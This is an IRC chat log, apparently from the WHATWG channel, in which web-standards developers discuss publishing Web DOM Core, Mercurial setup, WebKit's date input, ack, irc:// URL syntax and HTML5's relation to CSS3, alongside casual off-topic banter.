[17:15:00.0000] <ojan>
gsnedders: thx

[19:59:00.0000] <heycam>
is DOMStringMap used by any other spec? or is its only use for HTMLElement.dataset?

[20:25:00.0000] <heycam>
hmm, would be nice if you could make ES5 properties be deletable but not otherwise configurable

[23:26:00.0000] <hsivonen>
TabAtkins: http://hsivonen.iki.fi/test/moz/detect-html5-parser.html

[23:26:01.0000] <hsivonen>
(also seen on html5test.com)

[23:27:00.0000] <hsivonen>
TabAtkins: though I haven't checked if IE9 passes that one now

[00:03:00.0000] <myakura>
here's what I got in http://hsivonen.iki.fi/test/moz/detect-html5-parser.html with IE9beta: http://pastebin.com/raw.php?i=pH6dGzfG

[01:03:00.0000] <zcorpan>
hmm, how do i remove my old account from bugzilla?

[04:36:00.0000] <zcorpan>
ojan: http://bitbucket.org/ms2ger/web-dom-core/

[05:04:00.0000] <jgraham>
Also http://dvcs.w3.org/hg/domcore/ Should be identical I think

[05:05:00.0000] <jgraham>
Indeed the hashes confirm it\

[06:06:00.0000] <hsivonen>
/me wonders how often @howcome on gets tweets that meant to mention Håkon Lie

[06:58:00.0000] <annevk>
anyone seen ms2ger?

[07:10:00.0000] <hsivonen>
has someone already figured out what the sensible thing to do with a TPAC hotel booking is?

[07:11:00.0000] <annevk>
no

[07:11:01.0000] <annevk>
if I can share a room that someone else arranges that'd be great

[07:11:02.0000] <annevk>
gotta find some power

[07:37:00.0000] <annevk>
actually hsivonen, dbaron posted his info to w3c-css-wg

[07:37:01.0000] <annevk>
iirc

[07:40:00.0000] <jgraham>
/me mumbles something about having managed to book vacation that clashes with TPAC (not that I would necessarily have been allowed to attend anyway)

[07:44:00.0000] <variable>
TPAC ?

[07:44:01.0000] <variable>
Tennessee Performing Arts Center ?

[07:44:02.0000] <annevk>
maybe add W3C

[07:46:00.0000] <jarib>
"showing results for tupac w3c"

[07:46:01.0000] <jarib>
/me shakes fist at google

[07:48:00.0000] <annevk>
god damnit

[07:48:01.0000] <annevk>
to get Web DOM Core past pubrules is a pain

[07:48:02.0000] <annevk>
I think I now need to switch to the HTML4 Transitional DOCTYPE because HTML4 did not have the value attribute

[07:50:00.0000] <KaOSoFt>
._.

[07:50:01.0000] <jgraham>
There should totally be more rap battles in standards meeting

[07:50:02.0000] <jgraham>
It's a good way to make decisions on controversial topics

[07:51:00.0000] <annevk>
pragmatic: allow subset of HTML5; W3C: insist on HTML4

[07:51:01.0000] <hsivonen>
annevk: thanks!

[07:55:00.0000] <hsivonen>
these hotels really should get rid of the crashy Flash to get customers!

[08:00:00.0000] <hsivonen>
man. the only serious alternative to the W3C-suggested hotels has an epicly overflashy site

[08:00:01.0000] <hsivonen>
with autoplaying audio and Flash form controls

[08:00:02.0000] <hsivonen>
virtual 3D tours 

[08:00:03.0000] <hsivonen>
plug-in crashes

[08:00:04.0000] <jgraham>
Maybe that's why it's not W3C suggested?

[08:00:05.0000] <hsivonen>
the third browser that I tried kinda works

[08:01:00.0000] <annevk>
last chance peoples: http://www.w3.org/2002/09/wbs/40318/issue-41-objection-poll/results

[08:02:00.0000] <annevk>
does kind of seem like it was just a few people that really cared for da namespaces

[08:03:00.0000] <annevk>
hmm, requests to dcvs keep timing out

[08:03:01.0000] <annevk>
guess DOM Core will not be published today

[08:03:02.0000] <jgraham>
(I asusme you mean dvcs)

[08:03:03.0000] <annevk>
conference wifi...

[08:03:04.0000] <annevk>
oh god

[08:04:00.0000] <annevk>
thanks you

[08:04:01.0000] <annevk>
such names fail so hard

[08:04:02.0000] <annevk>
and I do too I suppose for not remembering them properly

[08:05:00.0000] <jgraham>
Or adding them to hgrc so you don't have to?

[08:05:01.0000] <annevk>
I thought you could only do that for one URL at the time?

[08:05:02.0000] <jgraham>
You can only have one as the default

[08:06:00.0000] <jgraham>
You can have multiple named remotes

[08:07:00.0000] <jgraham>
(I think)

[08:09:00.0000] <karlcow>
oooh nico nico douga adds html5 video http://blog.nicovideo.jp/niconews/2010/09/009269.html

[08:10:00.0000] <annevk>
so maybe we'll get /TR/domcore/ today after all

[08:10:01.0000] <karlcow>
for more background on nico nico douga http://en.wikipedia.org/wiki/Nico_Nico_Douga

[08:15:00.0000] <jgraham>
annevk: Oh it is quite simple

[08:15:01.0000] <jgraham>
In hgrc you just do

[08:15:02.0000] <hsivonen>
any opinions on the possible next steps at the end of this blog comment: http://blog.getify.com/2010/10/ff4-script-loaders-and-order-preservation/#comment-748 ?

[08:15:03.0000] <jgraham>
w3c = http://dvcs[...]

[08:15:04.0000] <jgraham>
bitbucket = http://bitbucket[...]

[08:15:05.0000] <jgraham>
in the [paths] section

[08:16:00.0000] <jgraham>
You need to fill in the full path of course

[08:16:01.0000] <annevk>
hsivonen, liking validator.nu uptime (validator.w3.org had a proxy failure of some sorts)

[08:16:02.0000] <jgraham>
Then you can do hg pull w3c

[08:16:03.0000] <jgraham>
for example

[08:16:04.0000] <annevk>
or hg push w3c ?

[08:16:05.0000] <annevk>
that seems quite nice

[08:16:06.0000] <jgraham>
yeah

[08:20:00.0000] <annevk>
oh heh

[08:21:00.0000] <annevk>
howcome does not have @howcome on twitter

[08:24:00.0000] <hsivonen>
is howcome on twitter at all?

[08:25:00.0000] <annevk>
pretty sure he is not

[08:25:01.0000] <Anti-X>
how come?

[08:25:02.0000] <Anti-X>
ahahaha i bet im the first one to say that hahahaha *cough*

[08:26:00.0000] <annevk>
people.opera.com/howcome

[08:28:00.0000] <Anti-X>
you're a boy named anne?

[08:28:01.0000] <Anti-X>
that's almost very johnny cash of you

[08:29:00.0000] <annevk>
heh, you're not the first to mention that today

[08:29:01.0000] <Anti-X>
johnny cash?

[08:29:02.0000] <annevk>
http://twitter.com/Rits/status/26650613549

[08:29:03.0000] <Anti-X>
or you being a oy

[08:30:00.0000] <Anti-X>
ah

[08:30:01.0000] <Anti-X>
yeah

[08:30:02.0000] <Anti-X>
i bet you're tough as hell

[08:31:00.0000] <annevk>
it's a somewhat common name where I am from actually

[08:32:00.0000] <loucapo>
do u pronounce it like we would in the US?

[08:32:01.0000] <annevk>
but yeah, I do Thai boxing whenever

[08:32:02.0000] <karlcow>
Anti-X: plus annevk is a charming very tall guy

[08:33:00.0000] <annevk>
loucapo, no, it's more like ahn-ne or some such (I have no idea how to spell phonetically)

[08:33:01.0000] <loucapo>
ok, thats what i guessed

[08:33:02.0000] <Philip`>
Like Arnie?

[08:34:00.0000] <annevk>
Philip`, maybe? :)

[08:35:00.0000] <Philip`>
Probably not a good idea to get mixed up with him

[08:39:00.0000] <Anti-X>
so how much of your life is spent talking about this, annevk? :p

[08:41:00.0000] <annevk>
each airport visits it's at least a couple of seconds extra staring by each non-Dutch official up to questioning if I really am the person identified by the passport (fail) which takes somewhat longer

[08:41:01.0000] <annevk>
then for each new introduction it's a fun conversation starter usually, it doesn't bother me much

[08:43:00.0000] <annevk>
#newtwitter is pretty good, apart from the URLs

[08:43:01.0000] <MikeSmith>
annevk: Web DOM Core needs a better Introduction and Abstract

[08:43:02.0000] <MikeSmith>
actually it needs an Introduction, period

[08:44:00.0000] <MikeSmith>
I guess it's too late to add it for FPWD

[08:44:01.0000] <annevk>
it's an open source project

[08:44:02.0000] <annevk>
feel free to contribute lines of text

[08:44:03.0000] <MikeSmith>
heh

[08:44:04.0000] <annevk>
i do agree btw

[08:45:00.0000] <annevk>
the main goal for now though is to simplify implementations

[08:45:01.0000] <MikeSmith>
yep

[08:46:00.0000] <MikeSmith>
it's a case where, the people who are implementing this know exactly what it's for

[08:46:01.0000] <MikeSmith>
but that abstract and intro for many specs are typically are not for the people implementing them

[08:47:00.0000] <karlcow>
/me is looking at Web Dom Core

[08:48:00.0000] <MikeSmith>
karlcow: if after you read it, you have wording for the abstract or intro, that'd be welcome

[08:48:01.0000] <MikeSmith>
or, as annevk pointed out, it's an open-source project

[08:48:02.0000] <Rik`>
annevk: is next Opera gonna support pushState ?

[08:49:00.0000] <karlcow>
http://dvcs.w3.org/hg/domcore/raw-file/tip/Overview.html this is the last version ?

[08:49:01.0000] <MikeSmith>
karlcow: //dvcs.w3.org/hg

[08:49:02.0000] <MikeSmith>
oops

[08:49:03.0000] <MikeSmith>
http://dvcs.w3.org/hg

[08:49:04.0000] <annevk>
karlcow, yes

[08:49:05.0000] <MikeSmith>
hg clone https://dvcs.w3.org/hg/domcore

[08:50:00.0000] <karlcow>
I suspect the file to edit is Overview.src.html then a make then a push 

[08:51:00.0000] <annevk>
yes

[08:52:00.0000] <karlcow>
thanks annevk MikeSmith 

[08:52:01.0000] <MikeSmith>
"Web DOM Core defines interfaces for accessing and updating various types of nodes in a DOM tree, as well as interfaces for collections of nodes and lists of strings and tokens."

[08:52:02.0000] <karlcow>
/me will first eat, then look at it. % mate Overview.src.html 

[08:52:03.0000] <MikeSmith>
maybe

[08:52:04.0000] <annevk>
at the moment I have a tooling setup problem; while everything is available, I cannot get it to work, so only Ms2ger can generate Overview.html between the two of us

[08:53:00.0000] <MikeSmith>
what tooling does it require?

[08:53:01.0000] <MikeSmith>
/me looks at the makefile

[08:53:02.0000] <annevk>
anolis

[08:53:03.0000] <annevk>
as forked by Ms2ger

[08:53:04.0000] <annevk>
but it goes wrong with the dependencies somehow

[08:54:00.0000] <annevk>
Anolis fork is here: bitbucket.org/ms2ger/anolis

[08:54:01.0000] <MikeSmith>
ok

[08:54:02.0000] <jgraham>
I need to merge the fork into pms

[08:54:03.0000] <annevk>
I'm such a noob when it comes to simple Python library hacking :/

[08:54:04.0000] <jgraham>
But I need to do many things :(

[08:54:05.0000] <annevk>
yeah, having someone else do the tooling would be great

[08:55:00.0000] <annevk>
can I bribe you?

[08:55:01.0000] <jgraham>
Probably. How did you have in mind?

[08:56:00.0000] <micheil>
I wonder what the ratio of active programmers to non-active programmers are in here..

[08:56:01.0000] <jgraham>
You mean programmers who do exercise compared to those that just sit on the couch?

[08:58:00.0000] <annevk>
I was thinking beer initially and then I got stuck

[09:00:00.0000] <jgraham>
Yeah, beer is a bad way to bribe me

[09:03:00.0000] <MikeSmith>
I wonder how other people who aren't day-job programmers make time to program more actively 

[09:03:01.0000] <MikeSmith>
other than just sacrificing sleep

[09:03:02.0000] <TabAtkins>
Sacrifice hobbies?

[09:05:00.0000] <annevk>
http://xkcd.com/802/ is great, especially the tooltip

[09:05:01.0000] <TabAtkins>
Hah, yeah.  I've never even *heard* of Happy Farm.

[09:07:00.0000] <TabAtkins>
annevk: re tpac, I've got a room near the hotel, but it's only got a single queen bed.

[09:10:00.0000] <rubys>
mamund: http://twitter.com/#!/samruby/status/26605005709

[09:11:00.0000] <annevk>
via twitter: http://dothtml5.com/

[09:13:00.0000] <jgraham>
I take it that dotHTML5 isn't the next version of .NET

[09:14:00.0000] <jgraham>
Taking the buzzwordiness to new heights

[09:15:00.0000] <Workshiva>
HTML.NET is the next version of HTML5

[09:16:00.0000] <KaOSoFt>
._.

[09:23:00.0000] <Anti-X>
yay, japanese websites

[09:25:00.0000] <karlcow>
/me is checking if he has a Mercurial bundle file

[09:27:00.0000] <AryehGregor>
You know, I think we've got at least one person from each major browser opposed to the ISSUE-41 proposal.

[09:28:00.0000] <annevk>
it's not about browsers, stupid

[09:28:01.0000] <AryehGregor>
And the one person objecting to the zero-edit proposal isn't actually objecting.

[09:29:00.0000] <AryehGregor>
annevk, yes, I forgot, we have to care about all the zillions of non-browser, non-search engine UAs out there that people actually care about.

[09:29:01.0000] <AryehGregor>
Or I guess we have to care about the ones that people don't care about.  Or that possibly don't exist.  Not sure.

[09:30:00.0000] <AryehGregor>
(search engines only sort of count as UAs here, it's not like they actually care about more than 10% of the spec)

[09:30:01.0000] <TabAtkins>
You have to care about the space of all possible UAs.

[09:30:02.0000] <AryehGregor>
Including the ones that no one will ever actually write or use?

[09:31:00.0000] <AryehGregor>
Sigh.  I guess I have to file yet another WebKit forms bug, against the absolutely crazy <input type=date> implementation.

[09:31:01.0000] <AryehGregor>
Does WebKit like not have a UI team that's reviewing these changes or something?

[09:31:02.0000] <AryehGregor>
/me was hoping it would go away, but apparently not

[09:33:00.0000] <annevk>
oh, it is actually in Safari too

[09:33:01.0000] <annevk>
o_O

[09:33:02.0000] <annevk>
I thought it was just Google messing it up

[09:33:03.0000] <AryehGregor>
The guy who's messing it up is paid by Google, but he's messing up Safari too, yeah.  Or at least WebKit nightlies.

[09:34:00.0000] <annevk>
input type=date works in my Safari

[09:34:01.0000] <annevk>
I don't remember installing a nightly

[09:34:02.0000] <AryehGregor>
Safari 5?

[09:34:03.0000] <AryehGregor>
And by "works" you mean "treats it as a number-picker instead of a date-picker"?

[09:36:00.0000] <AryehGregor>
I'm not sure if it's actually worse than just treating it as a text box, to be fair.

[09:38:00.0000] <MikeSmith>
the guy who's messing it up is at least trying to actually implement the HTML5 forms feature

[09:38:01.0000] <AryehGregor>
Yes, I'll give him that.

[09:38:02.0000] <AryehGregor>
But a bad implementation is worse than no implementation.

[09:38:03.0000] <AryehGregor>
If it's no implementation, at least you can feature-detect.

[09:38:04.0000] <AryehGregor>
And substitute something scripted.

[09:39:00.0000] <MikeSmith>
well, the solution to that is to put some other actual engineering resources on it

[09:39:01.0000] <MikeSmith>
instead of simply bitching about it

[09:39:02.0000] <AryehGregor>
What do you mean?

[09:39:03.0000] <MikeSmith>
it is open-source code

[09:41:00.0000] <AryehGregor>
I have no UI skills, even if I had time to do a lot of coding without pay (which I don't), and I don't have the money to pay someone else to do it, so my only real option is to complain.  Better than nothing.

[09:41:01.0000] <annevk>
http://www.w3.org/TR/domcore/

[09:41:02.0000] <annevk>
win

[09:42:00.0000] <MikeSmith>
AryehGregor: didn't mean you personally

[09:42:01.0000] <AryehGregor>
I really wouldn't object to the work not getting done.  It's not a critical feature.  But shipping broken support is poisoning the well, making it much more difficult to use the feature in browsers that do support it well (like Firefox 4, to all indications).

[09:43:00.0000] <annevk>
thanks karlcow

[09:43:01.0000] <AryehGregor>
The only people who can stop the current work from being done are the person doing it and the people who run WebKit, so complaining to them is really the only thing anyone can do, except those people themselves.

[09:43:02.0000] <annevk>
I think Firefox does not support <input type=date> actually

[09:43:03.0000] <AryehGregor>
Right, which is fine.

[09:44:00.0000] <MikeSmith>
AryehGregor: agreed about shipping with the broken implementation -- it seems like it did get enabled and released prematurely

[09:44:01.0000] <AryehGregor>
Not one, but now at least two different HTML5 form features in WebKit got shipped in alpha-quality state.

[09:45:00.0000] <AryehGregor>
(others shipped just fine, like placeholder AFAICT)

[09:46:00.0000] <MikeSmith>
yeah, it seems like there needs to be something to prevent similar problems from happening in the future

[09:51:00.0000] <hober>
TabAtkins: talked to Tantek re: using the microformats wiki for registering rel values.

[09:52:00.0000] <hober>
TabAtkins: we've got buy-in from him to alter the existing-rel-values page to better match what hixie's looking for

[09:52:01.0000] <TabAtkins>
Sounds good.

[10:13:00.0000] <MikeSmith>
AryehGregor: sorry for snapping earlier

[10:13:01.0000] <AryehGregor>
No problem.

[10:14:00.0000] <TabAtkins>
/me needs to learn how to use grep more effectively.

[10:14:01.0000] <MikeSmith>
I think I've been drinking too much coffee

[10:14:02.0000] <AryehGregor>
TabAtkins, ack seems to be better for most purposes.

[10:14:03.0000] <MikeSmith>
+1 to ack

[10:14:04.0000] <AryehGregor>
Although I've only just started using it.

[10:15:00.0000] <MikeSmith>
ack works best if you take time to set up a good user config file for yourself

[10:15:01.0000] <MikeSmith>
e.g., ack doesn't know about javascript by default

[10:15:02.0000] <MikeSmith>
but you can tell it in your user config

[10:16:00.0000] <Philip`>
My one seems to know about .js files by default

[10:17:00.0000] <TabAtkins>
Hm, ack's smarts about where to look seem pretty useful.

[10:17:01.0000] <Philip`>
and http://betterthangrep.com/ lists .js

[10:17:02.0000] <MikeSmith>
Philip`: I have ack 1.92

[10:18:00.0000] <MikeSmith>
/me wonders what the latest version is

[10:18:01.0000] <AryehGregor>
I have 1.92 too.

[10:18:02.0000] <TabAtkins>
Huh.  My port only has 1.39.

[10:18:03.0000] <TabAtkins>
But I need to upgrade my distro anyway.

[10:19:00.0000] <AryehGregor>
Mine knows about js too.

[10:19:01.0000] <AryehGregor>
Maybe it's a Debian improvement.

[10:19:02.0000] <MikeSmith>
ah

[10:19:03.0000] <MikeSmith>
I suspect so

[10:24:00.0000] <Philip`>
I don't use Debian, and it's on the official site anyway

[10:27:00.0000] <MikeSmith>
I guess "ack --help=types" is the way to list out what types it has built-in support for

[10:27:01.0000] <AryehGregor>
Yes.

[10:27:02.0000] <MikeSmith>
hmm

[10:27:03.0000] <MikeSmith>
and I find my ack does in fact have built-in support for js also

[10:28:00.0000] <MikeSmith>
seems like it didn't whenever I first set up my user config file

[11:20:00.0000] <AryehGregor>
I have my doubts about whether it's worth spending this much effort to respond to ACs on Slashdot.  http://slashdot.org/comments.pl?sid=1810648&cid=33810820

[11:20:01.0000] <AryehGregor>
I guess it would have been if the comment got modded up a lot and enough people saw it, but it's more than a day old, so probably not.

[11:26:00.0000] <Philip`>
/me mods it up

[11:26:01.0000] <Philip`>
(I didn't bother actually reading it, admittedly)

[11:26:02.0000] <AryehGregor>
See, that's a good strategy, we should all coordinate here so the ones with mod points mod up the ones without them at any given time.

[11:27:00.0000] <AryehGregor>
I used to post and moderate HTML5-related stuff a lot on Slashdot, but I got tired of it.

[11:27:01.0000] <AryehGregor>
A Sisyphean task.

[11:54:00.0000] <f1lt3r>
question: is all of the CSS3 spec. considered to be a part of HTML5?

[11:54:01.0000] <Hixie>
by whom?

[11:54:02.0000] <KaOSoFt>
"part of"?

[11:54:03.0000] <f1lt3r>
lol

[11:55:00.0000] <f1lt3r>
perhaps i can ask this a different way

[11:55:01.0000] <Ms2ger>
By people who know what HTML5 means, no

[11:55:02.0000] <f1lt3r>
that's what i thought Ms2ger 

[11:55:03.0000] <f1lt3r>
Is there functionality defined in the Css3 spec which is considered to be technically outside of the HTML5 spec?

[11:56:00.0000] <virtuelv>
all of it

[11:56:01.0000] <Ms2ger>
I didn't understand your question, but I'll note there are a lot of CSS3 specs

[11:56:02.0000] <f1lt3r>
virtuelv, all of css is separate from HTML5?

[11:56:03.0000] <f1lt3r>
i thought css3 colors were in there

[11:57:00.0000] <Ms2ger>
In what way?

[11:57:01.0000] <Anti-X>
html and css are complements, but they do not overlap in any way

[11:57:02.0000] <Ms2ger>
Canvas uses css3 colors, I guess

[11:58:00.0000] <Anti-X>
no, JS uses css3 colors

[11:58:01.0000] <virtuelv>
Ms2ger: either way, in the sense that html5 might have dependencies on css3, it would be found in the "references" section of the html5 spec

[11:59:00.0000] <f1lt3r>
thanks

[12:00:00.0000] <Ms2ger>
virtuelv, thanks, I wrote most of that section :)

[12:00:01.0000] <f1lt3r>
2.5.6 - Colors: If keyword is an ASCII case-insensitive match for one of the keywords listed in the SVG color keywords section of the CSS3 Color specification, then return the simple color corresponding to that keyword.

[12:00:02.0000] <Ms2ger>
That sounds like bgcolor parsing

[12:01:00.0000] <AryehGregor>
f1lt3r, HTML5 normatively depends on some CSS 3 standards: http://www.whatwg.org/specs/web-apps/current-work/multipage/references.html#references

[12:01:01.0000] <AryehGregor>
However, they aren't part of HTML5, any more than any other normative references (e.g., RFC 2616).

[12:01:02.0000] <f1lt3r>
interesting

[12:02:00.0000] <f1lt3r>
thanks guys, much appreciated

[12:02:01.0000] <AryehGregor>
However again, "HTML5" is often used as a buzzword to include any modern web technology.

[12:02:02.0000] <Anti-X>
also i'm guessing html5 defines some default css settings

[12:02:03.0000] <Anti-X>
if that counts

[12:02:04.0000] <f1lt3r>
yeah AryehGregor seems to cause a lot of issues, but it's great for sales ;)

[12:02:05.0000] <AryehGregor>
So it's not part of the spec that the W3C or WHATWG calls "HTML5", but it is part of the vague all-encompassing concept popularly known as "HTML5" right now.

[12:03:00.0000] <AryehGregor>
Anti-X, yes, the whole rendering section does that.  http://www.whatwg.org/specs/web-apps/current-work/multipage/rendering.html#rendering

[12:04:00.0000] <KaOSoFt>
People sees HTML5 as a new AJAX: a mix of different "technologies" working as a whole.

[12:04:01.0000] <AryehGregor>
Or DHTML.

[12:04:02.0000] <Anti-X>
oh horror

[12:05:00.0000] <Anti-X>
dhtml - the dinosaur from when before JS was cool

[12:05:01.0000] <Ms2ger>
Or DHTML5

[12:05:02.0000] <Ms2ger>
http://dhtml5.com/

[12:05:03.0000] <KaOSoFt>
._.

[12:05:04.0000] <AryehGregor>
/me laughs hysterically at that link

[12:05:05.0000] <Anti-X>
haha

[12:06:00.0000] <AryehGregor>
/me wonders who Michael Taylor is

[12:07:00.0000] <Anti-X>
i bet it's a guy!

[12:07:01.0000] <Anti-X>
i just eliminated 50% of your suspects

[12:08:00.0000] <Anti-X>
you'll never eliminate as many as i just did

[12:09:00.0000] <Anti-X>
i could go on with my lame jokes, but that would be, well, lame

[12:09:01.0000] <Ms2ger>
Well, if he's in the standards world, more like 10%, I'm afraid

[12:09:02.0000] <AryehGregor>
If that.

[12:09:03.0000] <AryehGregor>
Also, you could have eliminated more by guessing that he lives in an English-speaking country.

[12:09:04.0000] <AryehGregor>
That's less than 10% of the world, right?

[12:09:05.0000] <Anti-X>
that's not necessarily true

[12:10:00.0000] <AryehGregor>
Well, he could also be female.  I'm sure there's at least one woman named Michael in the world.

[12:10:01.0000] <Ms2ger>
Jackson?

[12:10:02.0000] <Anti-X>
well there's a guy named anne in here, so why not

[12:10:03.0000] <AryehGregor>
Ms2ger, I was thinking of people who were alive, but . . .

[12:10:04.0000] <AryehGregor>
I assume "Anne" is a male name in Scandinavia.

[12:10:05.0000] <AryehGregor>
/me checks Wikipedia

[12:10:06.0000] <Anti-X>
he's dutch

[12:10:07.0000] <AryehGregor>
Really?  Drat.

[12:11:00.0000] <Anti-X>
oh he's not here now

[12:11:01.0000] <Ms2ger>
And, it isn't

[12:11:02.0000] <Anti-X>
annevk

[12:11:03.0000] <AryehGregor>
"It is common used as a male name in the Netherlands (for example Anne de Vries) and has also been used male in France (Anne de Montmorency)."

[12:11:04.0000] <AryehGregor>
Okay, well, then I've learned something today.

[12:12:00.0000] <gsnedders>
/me did learn "they", "them", and "their" are from Old Norse in origin, which struck me as weird.

[12:12:01.0000] <gsnedders>
s/me/him/

[12:13:00.0000] <Ms2ger>
Still having trouble with actions? :)

[12:13:01.0000] <Workshiva>
gsnedders: The Norsemen were big on 'th' sounds

[12:13:02.0000] <gsnedders>
Workshiva: Well, yeah, I know that.

[12:14:00.0000] <Anti-X>
more like a d´

[12:14:01.0000] <gsnedders>
Workshiva: But introducing new closed-class words into a language, almost certainly replacing older ones? Weird.

[12:14:02.0000] <Anti-X>
the vikings conquered england

[12:14:03.0000] <Anti-X>
that might explain it

[12:14:04.0000] <gsnedders>
Well, depends what you mean by England

[12:14:05.0000] <Anti-X>
all of britain

[12:14:06.0000] <Ms2ger>
More like a ð, no?

[12:15:00.0000] <Anti-X>
except wales

[12:15:01.0000] <Anti-X>
nobody wants wales

[12:15:02.0000] <Anti-X>
Ms2ger exactly

[12:15:03.0000] <AryehGregor>
TabAtkins, irc://irc.freenode.net/#whatwg is an invalid URL, isn't it?  It's normally written irc://irc.freenode.net/whatwg.

[12:15:04.0000] <Anti-X>
it's a blunt 'th' sound

[12:15:05.0000] <jwalden>
Michael Jackson is alive, I saw him at the gas station a couple weeks ago

[12:15:06.0000] <Anti-X>
you sure it wasn't a crazed fan?

[12:16:00.0000] <gsnedders>
Anti-X: Well, they got the majority Kingdom of Northumbria, so not much of Scotland either… And they didn't conqure the Kingdom of Wessex either.

[12:16:01.0000] <Anti-X>
wessex schmessex

[12:16:02.0000] <gsnedders>
They probably only got around half of modern-day England, and a very small bit of Scotland (for I think they got that far north within Northumbria)

[12:17:00.0000] <Anti-X>
yeah but you're missing a vital piece

[12:17:01.0000] <Anti-X>
norwegians->scotland/ireland, danes->england

[12:17:02.0000] <gsnedders>
Still, odd to replace closed-class words, even with conquest.

[12:17:03.0000] <TabAtkins>
AryehGregor: Is it?  I dunno.  I'll change it.

[12:17:04.0000] <gsnedders>
The Normans never managed that (though did in Standard English replace the Genitive phrase more or less.)

[12:17:05.0000] <AryehGregor>
TabAtkins, I was too lazy to look up the spec.

[12:17:06.0000] <Anti-X>
normans = french

[12:17:07.0000] <gsnedders>
AryehGregor: It's a valid. Why would it be invalid?

[12:18:00.0000] <AryehGregor>
Does it work as expected?

[12:18:01.0000] <Anti-X>
you're confusing stuff

[12:18:02.0000] <AryehGregor>
I mean, is the fragment allowed but optional?

[12:18:03.0000] <AryehGregor>
/me looks up the RFCs

[12:18:04.0000] <AryehGregor>
(if there are any?)

[12:18:05.0000] <gsnedders>
AryehGregor: For the irc scheme? Unspecified.

[12:18:06.0000] <gsnedders>
AryehGregor: It's a valid URI was what I was saying

[12:18:07.0000] <AryehGregor>
http://tools.ietf.org/html/draft-butcher-irc-url-04#section-2.5.1

[12:19:00.0000] <AryehGregor>
I see.

[12:19:01.0000] <AryehGregor>
It looks like the fragment is optional, but must be encoded if it's present, according to that draft.

[12:19:02.0000] <AryehGregor>
Actual fragments appear to be ignored in irc:// URLs, according to the spec.  But I bet some applications support them anyway.

[12:20:00.0000] <gsnedders>
Anti-X: Well, the King of France had little control over anything, so I'd argue they weren't particuarly French

[12:20:01.0000] <TabAtkins>
Perhaps I will change it to "on the freenode.net server, #whatwg room".

[12:21:00.0000] <Ms2ger>
/me found http://ln.hixie.ch/?start=1042630901&count=1 an interesting read

[12:21:01.0000] <gsnedders>
AryehGregor: Real implementations treat paths (ignoring leading slash) and fragments equivilantly

[12:21:02.0000] <AryehGregor>
Yay.

[12:21:03.0000] <AryehGregor>
Makes sense.

[12:21:04.0000] <AryehGregor>
I just hadn't seen it before.

[12:22:00.0000] <Anti-X>
gsnedders, you're confusing a few centuries here

[12:22:01.0000] <AryehGregor>
I never use IRC URLs anyway.  Or mailto URLs.  If it's not handled by my browser, it tends not to do what I want it to.

[12:23:00.0000] <TabAtkins>
Ms2ger: Huh, I didn't remember that post.  Interesting how widely Hixie's opinions have swung re: draconian errors and Namespaces-in-XML.

[12:23:01.0000] <gsnedders>
Anti-X: I was under the impression the King of France had little influence, and the most influencal people in France at the time were the Dukes

[12:23:02.0000] <Anti-X>
gsnedders, 900's->vikings invade the british isles (http://en.wikipedia.org/wiki/File:Canute.PNG), 1060's->normans(france) invade england

[12:23:03.0000] <gsnedders>
/me wonders what he's mixing up

[12:24:00.0000] <Anti-X>
that map just tells about one king though, lots of stuff happened before that

[12:24:01.0000] <Anti-X>
he's the most famous king so i picked that

[12:24:02.0000] <Ms2ger>
I wish Hixie would blog more

[12:24:03.0000] <AryehGregor>
Ms2ger, yeah, that post is amusing.

[12:24:04.0000] <gsnedders>
Anti-X: Yes, I am aware it happened at different times, but for progression of English as a language they're comparable events.

[12:25:00.0000] <Anti-X>
yes, but you were wondering how norse could influence english so much, that's how

[12:25:01.0000] <Anti-X>
they owned it

[12:25:02.0000] <gsnedders>
Anti-X: I am aware of that.

[12:25:03.0000] <gsnedders>
Anti-X: But still, replacing closed-class words is still odd, even given that.

[12:25:04.0000] <Anti-X>
i don't think they were replacing anything per se

[12:25:05.0000] <Anti-X>
since they probably had a lot of languages

[12:25:06.0000] <Anti-X>
and now they got one common one

[12:26:00.0000] <Anti-X>
sort of

[12:27:00.0000] <gsnedders>
Anti-X: Old English has a set of pronouns corrosponding to the modern-day they, them, etc., replacing pronouns is, uh, exceptionally unusual.

[12:27:01.0000] <Hixie>
that post was written less than a year befor we startd html5

[12:27:02.0000] <gsnedders>
Anti-X: The Norman influence is nowhere near so radical, primarily adding words to open-class categories of words

[12:27:03.0000] <Ms2ger>
Oh, when you were young :)

[12:28:00.0000] <gsnedders>
(Amusingly, the majority of words of French origin only come much later.)

[12:29:00.0000] <Ms2ger>
Also, what's the cabal's opinion on making the named access on window quirks-only?

[12:29:01.0000] <gsnedders>
I would be amazed if that didn't break a large number of sites.

[12:29:02.0000] <Anti-X>
i'm thinking creole here

[12:29:03.0000] <Anti-X>
sort of

[12:29:04.0000] <Workshiva>
Large may not be large enough

[12:29:05.0000] <Ms2ger>
Gecko doesn't have it in standards mode

[12:30:00.0000] <Anti-X>
that was for gsnedders

[12:30:01.0000] <gsnedders>
Ms2ger: Oh. That surprises me. Oh well.

[12:30:02.0000] <gsnedders>
Anti-X: In terms of forcing it upon the language? Or?

[12:30:03.0000] <Anti-X>
no, more like.. lots of trade leads to people wanting to understand each other

[12:30:04.0000] <Anti-X>
so they assimilate words

[12:31:00.0000] <gsnedders>
Yes, sure. But very almost no exceptions, open-class words, especially nouns.

[12:31:01.0000] <Ms2ger>
Also, it only has `window.a` if you look at `a` first

[12:31:02.0000] <gsnedders>
s/But very/But with/

[12:31:03.0000] <Anti-X>
what are the old english equivalents then

[12:32:00.0000] <gsnedders>
/me should know this, but can't remember it off hand

[12:32:01.0000] <gsnedders>
/me looks up

[12:32:02.0000] <Anti-X>
and i don't think old english refers to the time before the vikings, i think old english means medieval english

[12:32:03.0000] <Workshiva>
Isn't that olde english?

[12:34:00.0000] <gsnedders>
wē, ġē, hīe was nominative plural in all three declensions

[12:34:01.0000] <KaOSoFt>
Wow, I had not seen true old english in a while.

[12:35:00.0000] <Anti-X>
they, them, their?

[12:35:01.0000] <gsnedders>
Anti-X: "The term Anglo-Saxon came to refer to all things of the early English period by the 16th century, including language, culture, and people. While this is still the preferred term for the latter two aspects, the language starting from the 19th century began to be called Old English." — The Cambridge Encyclopedia of the English Language

[12:35:02.0000] <gsnedders>
Anti-X: they, they, and they

[12:35:03.0000] <gsnedders>
Anti-X: (unless I'm being stupid…)

[12:36:00.0000] <Anti-X>
the first two they make sense

[12:36:01.0000] <Anti-X>
the last one not so much

[12:36:02.0000] <Anti-X>
but it could be the case form that changed it

[12:36:03.0000] <Anti-X>
they had a lot of that then

[12:37:00.0000] <gsnedders>
Oh, I am just being stupid.

